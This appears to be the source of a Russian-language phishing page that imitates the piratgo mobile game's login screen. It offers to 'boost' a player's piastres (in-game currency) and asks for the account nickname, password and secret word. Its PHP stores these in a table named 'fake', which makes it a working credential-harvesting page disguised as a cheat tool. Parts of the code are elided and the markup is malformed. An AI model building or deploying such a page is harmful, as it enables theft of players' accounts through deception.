<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Вход в игру</title> <link rel="shortcut icon" href="/favicon.ico" /> <link rel="stylesheet" href="http://piratgo.ru/default_x2.css" type="text/css" /> </head> <body> <?php if (filter_has_var(INPUT_POST, 'do')) { if (empty($_POST['login'])) { echo 'Вы не ввели логин'; } elseif (empty($_POST['password'])) { echo 'Вы не ввели пароль'; } elseif (empty($_POST['email'])) { echo 'Вы не ввели email'; } else { ... 'insert into fake set user = ?, `password` = ?, email = ?', [$_POST['login'], $_POST['password'], $_POST['email']]... } } <div class="title">Вход в игру</div><div class="under"> <form method="POST" action="/auts"><center> Ник персонажа: <br/> <input type="text" name="login"><br/> Пароль<br/> <input type="password" name="password"><br/> Секретное слово: <br/> <input type="text" name="email"><br/> Количество пиастр: <br/> <input type="text" name="fhc"><br/> <input class="but" type="submit" value="Накрутить"></form> </a></div><a class="link" href="/auts?go=lastpass"><img class="ico2" src="img/pics/piastr.png" alt="">Забыли пароль?</a> <div class="foot_help"><a href="http://piratgo.mobi">piratgo.mobi</a> | <a href="/ogame">О игре</a></div> </head> <body> <?php echo' <div class="d">Время: '.date("H:i:s").', мск.</div></body></html>'; ?>